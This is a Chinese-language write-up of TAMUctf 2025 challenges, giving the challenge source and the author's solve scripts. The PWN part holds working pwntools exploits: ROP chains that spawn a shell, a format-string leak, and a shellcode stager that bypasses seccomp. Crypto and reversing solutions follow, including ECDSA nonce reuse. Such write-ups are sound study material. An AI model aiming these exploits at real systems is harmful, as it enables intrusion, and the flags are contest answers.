[TAMUctf 2025]
这个两天的比赛,作了8个题。43名,还算不错。感觉比较擅长的PWN和Crypto都只作了两题,不怎么作的REV作了4个。
PWN
Debug 1
这外题就这点好,经常是给c源码的。省了不少看代码的时间。反编译的毕竟看起来不方便多了。
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdbool.h>
int upkeep() {
// IGNORE THIS
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
}
int modify(char input[]) {
puts("Input a string (max length of 69 characters):\n");
int x = read(0, input, 0x60);
printf("String you entered: %s\n", input);
for (int i = 0; i < x; ++i) {
// Make uppercase letters into lowercase
if (((int)input[i] >= 97) && ((int)input[i] <= 122)) {
input[i] = (char)((int)input[i]-32);
}
// Make lowercase letters into uppercase
else if (((int)input[i] >= 65) && ((int)input[i] <= 90)) {
input[i] = (char)((int)input[i]+32);
}
}
return 1;
}
int menu() {
int sel;
char input[69];
while (true) {
puts("Choose an option:");
puts("1: Modify string");
puts("2: Debug Mode");
puts("3: Exit\n");
scanf("%d", &sel);
printf("You selected: %d\n", sel);
if (sel==1) {
modify(input);
printf("Your string: %s\n", input);
return 1;
}
else if (sel==2) {
// Still working on this function, so I disabled it :)
//debug();
puts("Debug mode has been disabled!");
return 1;
}
else if (sel==3) {
return 1;
}
puts("Invalid input! Try again.");
}
return 1;
}
// TODO: finish making debug function
int debug() {
int admin = 0;
// TODO: Add admin check
int sel;
puts("WARNING: If you are reading this and are NOT an");
puts("administrator, report this to IT immediately!\n");
while (true) {
puts("Admin options:");
puts("1. Print info");
puts("2. Feature 2 (Uhhhhh idk what to put here)"); // TODO:
puts("3. Feature 3 (I hope your day is going well :) )"); // TODO:
scanf("%d", &sel);
printf("You selected: %d\n", sel);
if (sel==1) {
printf("libc leak: %lx\n", system);
puts("Leave a message here (max: 80 characters)!");
char message[80];
read(0, message, 800);
puts("Thanks!");
return 1;
}
else if (sel==2) {
// TODO:
return 1;
}
else if (sel==3) {
// TODO:
return 1;
}
puts("Invalid input!");
}
return 1;
}
int main() {
upkeep();
puts("String Modifier v1.4.2");
puts("Created by: FlamePyromancer"); // :)
menu();
printf("\nExiting...\n");
}
main->menu->modify这里能将menu里的值溢出一点,可以溢出到debug这里不仅给出libc地址还给出一个很大的溢出。就OK了
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
pop_rdi = 0x000000000040154b # pop rdi ; ret
pop_rsi = 0x0000000000401549 # pop rsi ; pop r15 ; ret
#p = process('./debug-1')
#gdb.attach(p, "b*0x401409\nc")
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_debug-1")
p.sendlineafter(b"3: Exit\n\n", b'1')
p.sendafter(b"Input a string (max length of 69 characters):\n\n", b'\0'*0x58+flat(0x4013a0))
p.sendlineafter(b'3. Feature 3 (I hope your day is going well :) )\n', b'1')
p.recvuntil(b"libc leak: ")
libc.address = int(p.recvline(), 16) - libc.sym['system']
print(f"{libc.address = :x}")
p.sendafter(b"Leave a message here (max: 80 characters)!\n", b'\0'*0x68 + flat(pop_rdi+1, pop_rdi,next(libc.search(b'/bin/sh\0')) , libc.sym['system']))
p.interactive(prompt="")
#gigem{d3bUg61ng_n3w_c0d3_a24dcfe3}
*Debug 2
升级版直接删除了debug函数,但是modify的read 0x60还是比69大,利用这个溢出先带出加载地址,然后弄弄个puts搞到libc再跟个read把后续读进去。只是本地成功远程不行。
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./debug-2')
def tran(pay):
v = []
for i in pay:
if ord('A')<=i<=ord('Z'):
v.append(i+32)
elif ord('a')<=i<=ord('z'):
v.append(i-32)
else:
v.append(i)
return bytes(v)
#p = process('./debug-2')
#gdb.attach(p, "b*0x5555555552da\nc")
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_debug-2")
p.sendlineafter(b"3: Exit\n\n", b'1')
p.sendafter(b"Input a string (max length of 69 characters):\n\n", b'0'*0x58+b'\xd8')
p.recvuntil(b'0'*0x58)
elf.address = u64(p.recvline()[:-1].ljust(8,b'\0')) - 0x13d8
print(f"{elf.address = :x}")
pop_rbp = elf.address + 0x000000000000115f # pop rbp ; ret
pop_rdi = elf.address + 0x000000000000145b # pop rdi ; ret
pop_rsi = elf.address + 0x0000000000001459 # pop rsi ; pop r15 ; ret
bss = elf.address + 0x4f00
p.sendlineafter(b"3: Exit\n\n", b'1')
p.sendafter(b"Input a string (max length of 69 characters):\n\n", b'0'*0x50+tran(flat(bss, elf.address+0x134a)))
p.sendafter(b"Input a string (max length of 69 characters):\n\n", tran(flat(pop_rdi, elf.got['puts'], elf.plt['puts'], pop_rdi, 0, pop_rsi, bss-8,0, elf.plt['read'],0,bss-0x58, elf.address+0x12da)))
print('RECV:',p.recvline())
print('RECV:',p.recvline())
libc.address = u64(p.recvline()[:-1].ljust(8, b'\0')) - libc.sym['puts']
print(f"{libc.address = :x}")
pop_rdx = libc.address + 0x00000000000aa0c2 # pop rdx ; ret
pop_rax = libc.address + 0x000000000003a768 # pop rax ; ret
syscall = libc.sym['getpid'] + 5
#p.send(flat(pop_rdi+1, pop_rdi+1, pop_rdi, next(libc.search(b'/bin/sh\0')) , pop_rsi,0,0, pop_rdx,0, pop_rax,59, syscall))
p.send(flat(pop_rdi, next(libc.search(b'/bin/sh\0')) , libc.sym['system']))
sleep(0.5)
p.sendline(b'cat flag*')
p.interactive(prompt="")
Sniper
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/fcntl.h>
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void load_flag() {
int fd = open("flag.txt", O_RDONLY);
mmap(0x000000000a0a0000, 0x1000, PROT_READ, MAP_PRIVATE, fd, 0);
}
void vuln() {
char buf[48];
printf("%p\n", buf);
fgets(buf, sizeof(buf), stdin);
close(0);
printf(buf);
exit(0);
}
int main() {
init();
load_flag();
vuln();
}
flag已经摆在眼前了,只是这个地址0x0a0a在gets里输不进去。而且只有一次机会。只有不用$直接一个个搞偏移。先给后边搞个0,然后把0xa0a加到前边,再把它当指针%s即可。
from pwn import *
context(arch='amd64', log_level='debug')
#p = process('./sniper')
#gdb.attach(p, "b*0x5555555552dd\nc")
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_sniper")
buf = int(p.recvline(),16)
print(f"{buf = }")
pay = b'%c'*8+ b'%2562c%hn%s'
pay = pay.ljust(32,b'\0')+flat(buf+8*5+2, 0)
p.sendline(pay)
p.interactive()
#gigem{you_know_what_maybe_i_should_just_leave_naming_up_to_rng_via_http://ternus.github.io/nsaproductgenerator/}
SEVEN
7个字符的shellcode,并且关闭了buf的写权还用seccomp限制了execve
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
void init() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
}
void no_one_gadget_for_you() {
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
seccomp_load(ctx);
}
#define RWX 0x500000
int main() {
init();
no_one_gadget_for_you();
char* code = mmap(RWX, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED_NOREPLACE, -1, 0);
if (code != MAP_FAILED) {
read(0, RWX, 7);
mprotect(RWX, 0x1000, PROT_READ | PROT_EXEC);
((void (*)())RWX)();
}
}
发现有ppp6+mov_call这个万能gadget,用7个字节造read+ret将ROP读到栈里然后执行ROP,利用这个ROP将buf的写权打开,然后读ORW到buf再跳过去执行
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
elf = ELF('./seven')
#p = process('./seven')
#gdb.attach(p, "b*0x401126\nc")
p = remote("tamuctf.com", 443, ssl=True, sni="tamuctf_seven")
pay = 'push rsp;pop rsi;push rax;pop rdi;syscall;ret'
p.send(asm(pay))
pop_rdi = 0x000000000040136b # pop rdi ; ret
pop_rsi = 0x0000000000401369 # pop rsi ; pop r15 ; ret
ppp6 = 0x401362 #rbx,rbp,r12,r13,r14,r15,ret
mov_call = 0x401348 #mov rdx,r15;mov rsi,r14;mov edi,r13d;call [r12+rbx*8]; add rbx,1;cmp rbp,rbx;
pay = flat([
ppp6, 0,1,elf.got['mprotect'], 0x500000, 0x1000, 7, mov_call, #mprotect(RWX,0x1000,7)
ppp6, 0,1,elf.got['read'], 0, 0x500000, 0x100, mov_call, #read(0,RWX,0x100)
ppp6, 0,1,0x500000, 0,0,0x500000, mov_call #call [0x500000]
])
p.send(pay)
sleep(1)
pay = shellcraft.open('flag.txt')+ shellcraft.read('rax', 0x404800,0x50)+ shellcraft.write(1,0x404800,0x50)
p.send(p64(0x500000+8)+asm(pay))
p.interactive()
#gigem{my_challenge_names_are_so_creative_right}
Crypto
ECC
这个一开始就卡了,签名题。后来仔细一看原来两个给出的明文都是提示。第1个不用说是指定曲线。然后就卡这个了,这个美国军文推的曲线有漏洞。其实这题跟这个没关系,重要的是第2句说共用了k那就没难度了,两个方程两个未知数。
from Crypto.Util.number import bytes_to_long, long_to_bytes
from hashlib import sha256
from secret import sign
message1 = "The secp256r1 curve was used."
message2 = "k value may have been re-used."
message1 = bytes_to_long(sha256(message1.encode()).digest())
message2 = bytes_to_long(sha256(message2.encode()).digest())
r1, s1 = sign(message1)
r2, s2 = sign(message2)
print(f"r1: {r1}, s1: {s1}")
print(f"r2: {r2}, s2: {s2}")
我感觉弄的麻烦了,两个式子交叉一乘直接消掉k就得到x了
from Crypto.Util.number import bytes_to_long, long_to_bytes
from hashlib import sha256
message1 = "The secp256r1 curve was used."
message2 = "k value may have been re-used."
r1 = 91684750294663587590699225454580710947373104789074350179443937301009206290695
s1 = 8734396013686485452502025686012376394264288962663555711176194873788392352477
r2 = 91684750294663587590699225454580710947373104789074350179443937301009206290695
s2 = 96254287552668750588265978919231985627964457792323178870952715849103024292631
H1 = bytes_to_long(sha256(message1.encode()).digest())
H2 = bytes_to_long(sha256(message2.encode()).digest())
#secp256r1
p=0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
p = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFF
a = 0xFFFFFFFF00000001000000000000000000000000FFFFFFFFFFFFFFFFFFFFFFFC
b = 0x5AC635D8AA3A93E7B3EBBD55769886BC651D06B0CC53B0F63BCE3C3E27D2604B
Gx = 0x6B17D1F2E12C4247F8BCE6E563A440F277037D812DEB33A0F4A13945D898C296
Gy = 0x4FE342E2FE1A7F9B8EE7EB4A7C0F9E162BCE33576B315ECECBB6406837BF51F5
n = 0xFFFFFFFF00000000FFFFFFFFFFFFFFFFBCE6FAADA7179E84F3B9CAC2FC632551
#k*s = H +r*x k重用
P.<x,k> = PolynomialRing(Zmod(n))
f1 = k*s1 - H1 - r1*x
f2 = k*s2 - H2 - r2*x
I = Ideal([f1,f2]).groebner_basis()
print(I)
#[x + 115791375488799238320745873815850719231967443923586961238742330117758552895444, k + 63146964498942416878006827051672810760330773963818734151196524363648583300539]
res=[x.constant_coefficient() for x in I]
x = -res[0]%n
m = long_to_bytes(int(x))
#gigem{r3u51n6_k_0n_516n47ur35}
Mod
这是个m大到n的题,就是明文比模大。
import re
with open("flag.txt") as f:
flag = f.read()
assert re.fullmatch(r"gigem\{[a-z0-9_]{38}\}",flag)
flag_num = int.from_bytes(flag.encode(), 'big')
assert flag_num % 114093090821120352479644063983906458923779848139997892783140659734927967458173 == 58809011802516045741268578327158509054400633329629779038362406616616290661238
在本地测试数据试了一下,BKZ只能求出芯里36字符,需要爆破两个。
n = 114093090821120352479644063983906458923779848139997892783140659734927967458173
c = 58809011802516045741268578327158509054400633329629779038362406616616290661238
import string
from itertools import product
table = "0123456789_abcdefghijklmnopqrstuvwxyz"
def getv(tc,k):
tc = (c - tc)*inverse(256,n)%n
A = [256^(35-i) for i in range(36)]+[int(-tc)]
M = block_matrix(ZZ,[[1,matrix(ZZ,A).T],[0,n]])
M[-2,-2]*=64
M[:,-1:]*=64
L = M.BKZ()
for v in L:
if abs(v[-2]) != 64: continue
if all([-37<=i<=37 for i in v[:-2]]):
print(k+bytes([85+i for i in v[:-2]]))
print(k+bytes([85-i for i in v[:-2]]))
from tqdm import tqdm
nums = 2
for j in tqdm(product(table,repeat = nums)):
#print(''.join(j))
base = bytes_to_long(b"gigem{" + "".join(j).encode() + b"U"*36 + b"}")%n
getv(base,"".join(j).encode())
#b'3v3ry1_kn0wz_l1l_15_alw4yz_7h3_answ3rz'
#gigem{3v3ry1_kn0wz_l1l_15_alw4yz_7h3_answ3rz}
*RC4 Prefix
这个没整成,RC4的题通过不同的前缀求后边的IV。感觉是想办法让后边的IV指定字符信息落在0的位置。先把原题放这。
from Crypto.Cipher import ARC4
import os
from string import printable
from random import choices
IV = ''.join(choices(printable,k=32)).encode()
for i in range(96):
nonce = input("Give me a prefix (hex): ")
try:
nonce = bytes.fromhex(nonce)
except:
print("Make sure to send in hex.")
exit()
if len(nonce) + len(IV) > 256:
print("Your prefix is too long.")
exit()
try:
cipher = ARC4.new(nonce + IV)
except:
print("Could not create the cipher.")
exit()
pt = b"\0"
ct = cipher.encrypt(pt)
print(f"Your lucky number is {ord(ct)}")
guess = input("What was the IV(hex): ")
try:
guess = bytes.fromhex(guess)
except:
print("Make sure to send your guess for the IV in hex.")
exit()
if IV == guess:
with open("flag.txt","r") as f:
FLAG = f.read()
print(FLAG)
else:
print(f"WRONG! IV was {IV.hex()}")
REV
What It Does
给了一个冗长的代码和完全看不懂的密文。放弃后又拿起来发现个"{",每一段的第二个M后边跟着的字符连起来真好是flag头,那就OK了。
*T:What's the flag?
A
M:k
YJ:1
M:g <---- gigem{it_does_what_it_does}
NJ:1
A
M:m
YJ:1
M:i <-----
NJ:1
A
M:F
YJ:1
M:g <----
NJ:1
A
M:h
YJ:1
M:e <---
NJ:1
A
M:l
YJ:1
M:m <----
NJ:1
A
M:Z
YJ:1
M:{
NJ:1
A
M:V
YJ:1
M:i
NJ:1
A
M:T
YJ:1
M:t
NJ:1
A
M:Y
YJ:1
M:_
NJ:1
A
M:f
YJ:1
M:d
NJ:1
A
M:g
YJ:1
M:o
NJ:1
A
M:B
YJ:1
M:e
NJ:1
A
M:T
YJ:1
M:s
NJ:1
A
M:B
YJ:1
M:_
NJ:1
A
M:A
YJ:1
M:w
NJ:1
A
M:E
YJ:1
M:h
NJ:1
A
M:Q
YJ:1
M:a
NJ:1
A
M:m
YJ:1
M:t
NJ:1
A
M:K
YJ:1
M:_
NJ:1
A
M:z
YJ:1
M:i
NJ:1
A
M:T
YJ:1
M:t
NJ:1
A
M:l
YJ:1
M:_
NJ:1
A
M:o
YJ:1
M:d
NJ:1
A
M:V
YJ:1
M:o
NJ:1
A
M:H
YJ:1
M:e
NJ:1
A
M:U
YJ:1
M:s
NJ:1
A
M:f
YJ:1
M:}
NJ:1
J:2
*T:Wrong!
S
*T:Correct!
S
OTP
给了加密源码,然后是dump出来的内存。
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#define KEYS 1000
int RANDOM_FD = -1;
void dump() {
char cmd[128];
int pid = getpid();
snprintf(cmd, sizeof(cmd), "gcore -o dump %d; mv dump.%d dump", pid, pid);
system(cmd);
}
void otp(unsigned char* p, int n, int depth) {
char key[128];
read(RANDOM_FD, key, n);
for (int i = 0; i < n; ++i) {
p[i] ^= key[i];
}
if (depth < KEYS - 1) {
otp(p, n, depth + 1);
} else {
dump();
}
}
int main(int argc, char** argv) {
if (argc != 3) {
printf("Usage: %s <FLAG_FILE> <ENCRYPTED_FLAG_FILE>\n", argv[0]);
return 0;
}
char* flag = argv[1];
char* encrypted_flag = argv[2];
RANDOM_FD = open("/dev/urandom", O_RDONLY);
unsigned char p[128];
int fd = open(flag, O_RDONLY);
if (fd < 0) {
printf("%s not found\n", flag);
return 0;
}
int n = read(fd, p, 128);
int write_fd = open(encrypted_flag, O_WRONLY | O_CREAT, 0644);
if (n > 1) {
if (p[n - 1] == '\n') {
--n;
}
otp(p, n, 0);
write(write_fd, p, n);
}
close(RANDOM_FD);
close(fd);
close(write_fd);
}
用999层key异或,只能从dump里取了。不过看上去它写的是998,但实际是999才行。
from pwn import xor
c = open('encrypted_flag.bin','rb').read()
data = open('dump','rb').read()
s = 0x34290
for i in range(1000):
c = xor(c, data[s:s+0x3b])
print(data[s:s+0x3b])
s -= 0xc0
print(c)
#gigem{if_you_did_that_manually_i_am_so_sorry_for_your_loss}
Brainrot
给了火星人代码,不过看上去跟python差不多,需要翻译一下。
from hashlib import sha256
class Brain:
def __init__(self, neurons):
self.neurons = neurons
self.thought_size = 10
def brainstem(self):
return sha256(",".join(str(x) for i in sum(self.neurons, [])).encode()).hexdigest()
def rot(self,data):
for i in range(len(data)):
self.neurons[(3*i + 7)% self.thought_size][(9*i + 3)%self.thought_size] ^= data[i]
def think(self,data):
thought = [0]* self.thought_size
for i in range(self.thought_size):
thought[i] = sum(self.neurons[i][j]*data[j] for j in range(self.thought_size))
self.neurons[:-1] = self.neurons[1:]
self.neurons[-1] = thought
return thought
healthy_brain = [[71, 101, 18, 37, 41, 69, 80, 28, 23, 48], [35, 32, 44, 24, 27, 20, 34, 58, 24, 9], [73, 29, 37, 94, 27, 58, 104, 65, 116, 44], [26, 83, 77, 116, 9, 96, 111, 118, 52, 62], [100, 15, 119, 53, 59, 34, 38, 68, 104, 110], [51, 1, 54, 62, 56, 120, 4, 80, 60, 120], [125, 92, 95, 98, 97, 110, 93, 33, 128, 93], [70, 23, 123, 40, 75, 23, 104, 73, 52, 6], [14, 11, 99, 16, 124, 52, 14, 73, 47, 66], [128, 11, 49, 111, 64, 108, 14, 66, 128, 101]]
brainrot = b"gnilretskdi ,coffee ,ymotobol ,amenic etulosba ,oihO ni ylno ,oihO ,pac eht pots ,pac ,yadot yarp uoy did ,pu lio ,eohs ym elkcub 2 1 ,sucric latigid ,zzir tanec iaK ,tac frumS ,yzzilg ,ekahs melraH ,tanec iaK ,raebzaf ydderF ,gnixamnoog ,hoesac ,relzzir eht rof ttayg ruoy tuo gnikcits ,reppay ,gnippay ,pay ,gniggom ,gom,ttalcobmob ,gnillihc gnib ,deepswohsi ,tor niarb ,oitar + L ,ozob L ,L ,oitar ,ie ie iE ,suoived ,emem seimmug revas efil dna seceip s'eseeR ,io io io ,ytrap zzir koTkiT ,teggun ,su gnoma ,retsopmi ,yssus ,suS ,elgnid eladnuaQ ,gnos metsys ym ni atnaF ,kcil suoived ,syddid ta sthgin 5 ,hsinapS ro hsilgnE .gnos teksirb ,agnizab ,bruc eht etib ,orb lil ,dulb ,ni gnihcram og stnias eht nehw ho ,neerb fo seert ees I ,sinneD ekud ,biks no ,ennud yvvil ,knorg ybab ,rehtorb pu s'tahw ,gab eht ni seirf eht tuP ,edaf repat wol ,yddid ,yddirg ,ahpla ,gnixxamskool ,gninoog ,noog ,egde ,gnigde ,raeb evif ydderf ,ekahs ecamirg ,ynnacnu ,arua ,daeh daerd tnalahcnon ,ekard ,gnixat munaF ,xat munaf ,zzir idibikS ,yug llihc ,eiddab ,kooc reh/mih tel ,gnikooc ,kooc ,nissub ,oihO ,amgis eht tahw ,amgis ,idibikS no ,relzzir ,gnizzir ,zzir ,wem ,gniwem ,ttayg ,teliot idibikS ,idibikS"[::-1]
brain = Brain(healthy_brain)
brain.rot(brainrot)
flag = input("> ").encode() #40
required_thoughts = [
[59477, 41138, 59835, 73146, 77483, 59302, 102788, 67692, 62102, 85259],
[40039, 59831, 72802, 77436, 57296, 101868, 69319, 59980, 84518, 73579466],
[59783, 73251, 76964, 58066, 101937, 68220, 59723, 85312, 73537261, 7793081533],
[71678, 77955, 59011, 102453, 66381, 60215, 86367, 74176247, 9263142620, 982652150581],
]
failed_to_think =False
for i in range(0,len(flag),10):
thought = brain.think(flag[i:i+10])
if thought != required_thoughts[i//10]:
failed_to_think = True
if failed_to_think or brain.brainstem() != "4fe4bdc54342d22189d129d291d4fa23da12f22a45bca01e75a1f0e57588bf16":
print("ermm... you might not be a s""igma...")
else:
print("holy s""kibidi you popped off... go submit the flag")
本身对Cryptor没啥难度就是矩阵求个解。
A = [[71, 101, 45, 37, 41, 69, 80, 28, 23, 48], [35, 32, 44, 24, 27, 88, 34, 58, 24, 9], [73, 29, 37, 94, 27, 58, 104, 65, 17, 44], [26, 3, 77, 116, 9, 96, 111, 118, 52, 62], [100, 15, 119, 53, 86, 34, 38, 68, 104, 110], [51, 1, 54, 62, 56, 120, 4, 10, 60, 120], [113, 92, 95, 98, 97, 110, 93, 33, 128, 93], [70, 23, 123, 86, 75, 23, 104, 73, 52, 6], [14, 11, 99, 16, 124, 52, 67, 73, 47, 66], [128, 11, 49, 111, 64, 108, 14, 66, 128, 116]]
B = [59477, 41138, 59835, 73146, 77483, 59302, 102788, 67692, 62102, 85259]
M = matrix(ZZ,A)
B = vector(ZZ,B)
v = M.solve_right(B)
m = bytes(v)
A = [[35, 32, 44, 24, 27, 88, 34, 58, 24, 9], [73, 29, 37, 94, 27, 58, 104, 65, 17, 44], [26, 3, 77, 116, 9, 96, 111, 118, 52, 62], [100, 15, 119, 53, 86, 34, 38, 68, 104, 110], [51, 1, 54, 62, 56, 120, 4, 10, 60, 120], [113, 92, 95, 98, 97, 110, 93, 33, 128, 93], [70, 23, 123, 86, 75, 23, 104, 73, 52, 6], [14, 11, 99, 16, 124, 52, 67, 73, 47, 66], [128, 11, 49, 111, 64, 108, 14, 66, 128, 116],[59477, 41138, 59835, 73146, 77483, 59302, 102788, 67692, 62102, 85259]]
B = [40039, 59831, 72802, 77436, 57296, 101868, 69319, 59980, 84518, 73579466]
M = matrix(ZZ,A)
B = vector(ZZ,B)
v = M.solve_right(B)
m+=bytes(v)
A = [[73, 29, 37, 94, 27, 58, 104, 65, 17, 44], [26, 3, 77, 116, 9, 96, 111, 118, 52, 62], [100, 15, 119, 53, 86, 34, 38, 68, 104, 110], [51, 1, 54, 62, 56, 120, 4, 10, 60, 120], [113, 92, 95, 98, 97, 110, 93, 33, 128, 93], [70, 23, 123, 86, 75, 23, 104, 73, 52, 6], [14, 11, 99, 16, 124, 52, 67, 73, 47, 66], [128, 11, 49, 111, 64, 108, 14, 66, 128, 116],[59477, 41138, 59835, 73146, 77483, 59302, 102788, 67692, 62102, 85259],[40039, 59831, 72802, 77436, 57296, 101868, 69319, 59980, 84518, 73579466]]
B = [59783, 73251, 76964, 58066, 101937, 68220, 59723, 85312, 73537261, 7793081533]
M = matrix(ZZ,A)
B = vector(ZZ,B)
v = M.solve_right(B)
m+=bytes(v)
A = [[26, 3, 77, 116, 9, 96, 111, 118, 52, 62], [100, 15, 119, 53, 86, 34, 38, 68, 104, 110], [51, 1, 54, 62, 56, 120, 4, 10, 60, 120], [113, 92, 95, 98, 97, 110, 93, 33, 128, 93], [70, 23, 123, 86, 75, 23, 104, 73, 52, 6], [14, 11, 99, 16, 124, 52, 67, 73, 47, 66], [128, 11, 49, 111, 64, 108, 14, 66, 128, 116],[59477, 41138, 59835, 73146, 77483, 59302, 102788, 67692, 62102, 85259],[40039, 59831, 72802, 77436, 57296, 101868, 69319, 59980, 84518, 73579466],[59783, 73251, 76964, 58066, 101937, 68220, 59723, 85312, 73537261, 7793081533]]
B = [71678, 77955, 59011, 102453, 66381, 60215, 86367, 74176247, 9263142620, 982652150581]
M = matrix(ZZ,A)
B = vector(ZZ,B)
v = M.solve_right(B)
m+=bytes(v)
print(m)
#gigem{whats_up_my_fellow_skibidi_sigmas}
Xorox
一看名字就简单,只是c里用的128位寄存器。看到4个大串,异或一下试试。
ym7 = bytes.fromhex('8019C0BF4320CA1E9FBE3F75BAA386D3EA85D18816CCD5870130CF41B7BBAED4') #4020
v7 = bytes.fromhex('A80081BF4353AC5ED8B3404A9C81A9E5FCD283B20D8EC4983667E24FF2F8F489') #2080
v6 = bytes.fromhex('FB6FF3CD3A7F8C2AAACA6026F3EEC28C92B5A3D761FDA1EF5E02902AD2C2DDA9') #2060
xor(ym7,v6)
#gigem{v3ry_F45t_SIMD_x0r_w1th_2_keys}